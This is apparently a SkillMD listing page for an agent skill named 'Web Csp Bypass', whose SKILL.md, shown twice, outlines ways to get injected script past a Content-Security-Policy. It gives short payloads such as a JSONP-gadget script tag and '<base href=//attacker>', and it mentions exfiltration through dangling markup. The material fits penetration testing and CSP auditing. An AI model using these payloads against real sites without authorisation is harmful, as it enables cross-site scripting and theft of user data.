How do I install the Web Csp Bypass skill?

Run npx skillmds@latest add noorqureshi/web-csp-bypass in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Web Csp Bypass safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Web Csp Bypass?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Web Csp Bypass free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Web Csp Bypass?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Web Csp Bypass by noorqureshi — Agent Skill

Name: Web Csp Bypass
Author: NoorQureshi

Web Csp Bypass

Get script to run despite a Content-Security-Policy — the step after finding an injection that CSP is blocking. Load when you have HTML/JS injection but the payload won't execute, on "CSP is blocking my XSS", or when auditing a CSP for weakness. Signals: a Content-Security-Policy header, a blocked-script console error, a reflected injection with no popup.

NoorQureshi bbcc6b0 2.5 KB Updated Sep 17, 2026

File contents

Bypassing Content-Security-Policy

When it applies

You have an injection point but CSP is stopping execution. CSP is a mitigation, not a fix — a weak policy still lets script run, and turning a "blocked" XSS into a firing one is what makes the bug real (and higher severity).

Why it works

Most deployed CSPs have a gap: an over-broad allowlist, a leftover unsafe-inline, a reusable nonce, a script-src host that also serves a JSONP/AngularJS gadget, or a missing base-uri/ object-src. Each gap is a path to execution the policy author didn't intend.

Method

Read the policy: paste it into Google's CSP Evaluator; note script-src, object-src, base-uri, default-src, and whether it's report-only (report-only blocks nothing).
unsafe-inline / no nonce → inline script just runs; you're done.
Allowlisted host with a gadget: a script-src host that hosts JSONP (?callback=) or an old AngularJS/library → load it to execute (<script src=//allowed/jsonp?callback=alert>).
'self' + an upload/echo: host your JS on the same origin (file upload, a reflected .js endpoint) and point <script src> at it.
Missing base-uri: inject <base href=//attacker> to hijack relative script src.
strict-dynamic / nonce reuse: if a nonce is static across responses, reuse it; if a trusted script creates elements, ride it.
Dangling markup / exfil: when execution is truly blocked, steal data with markup that leaks to an allowed img-src/connect-src destination.

Gotchas

Report-Only (Content-Security-Policy-Report-Only) does not enforce — don't report it as a bypass.
object-src 'none' + base-uri 'none' + nonce'd strict-dynamic is genuinely hard; say so rather than forcing a weak bypass.
A bypass is only a finding if you also have the injection to use it.

Verify success

Your script executes (or data exfiltrates) with the CSP active — a real alert(document.domain) / callback, not just a reflected string.

References

Google CSP Evaluator; PortSwigger CSP bypass; the JSONP/AngularJS gadget catalogues.

---name: web-csp-bypassdescription: Get script to run despite a Content-Security-Policy — the step after finding an injection that CSP is blocking. Load when you have HTML/JS injection but the payload won't execute, on "CSP is blocking my XSS", or when auditing a CSP for weakness. Signals: a Content-Security-Policy header, a blocked-script console error, a reflected injection with no popup.---# Bypassing Content-Security-Policy## When it appliesYou have an injection point but CSP is stopping execution. CSP is a mitigation, not a fix — a weakpolicy still lets script run, and turning a "blocked" XSS into a firing one is what makes the bugreal (and higher severity).## Why it worksMost deployed CSPs have a gap: an over-broad allowlist, a leftover `unsafe-inline`, a reusablenonce, a `script-src` host that also serves a JSONP/AngularJS gadget, or a missing `base-uri`/`object-src`. Each gap is a path to execution the policy author didn't intend.## Method1. **Read the policy**: paste it into Google's CSP Evaluator; note `script-src`, `object-src`, `base-uri`, `default-src`, and whether it's report-only (report-only blocks nothing).2. **`unsafe-inline` / no nonce** → inline script just runs; you're done.3. **Allowlisted host with a gadget**: a `script-src` host that hosts JSONP (`?callback=`) or an old AngularJS/library → load it to execute (`<script src=//allowed/jsonp?callback=alert>`).4. **`'self'` + an upload/echo**: host your JS on the same origin (file upload, a reflected `.js` endpoint) and point `<script src>` at it.5. **Missing `base-uri`**: inject `<base href=//attacker>` to hijack relative script src.6. **`strict-dynamic` / nonce reuse**: if a nonce is static across responses, reuse it; if a trusted script creates elements, ride it.7. **Dangling markup / exfil**: when execution is truly blocked, steal data with markup that leaks to an allowed `img-src`/`connect-src` destination.## Gotchas- Report-Only (`Content-Security-Policy-Report-Only`) does not enforce — don't report it as a bypass.- `object-src 'none'` + `base-uri 'none'` + nonce'd strict-dynamic is genuinely hard; say so rather than forcing a weak bypass.- A bypass is only a finding if you also have the injection to use it.## Verify successYour script executes (or data exfiltrates) with the CSP active — a real `alert(document.domain)` /callback, not just a reflected string.## ReferencesGoogle CSP Evaluator; PortSwigger CSP bypass; the JSONP/AngularJS gadget catalogues.

Frequently asked questions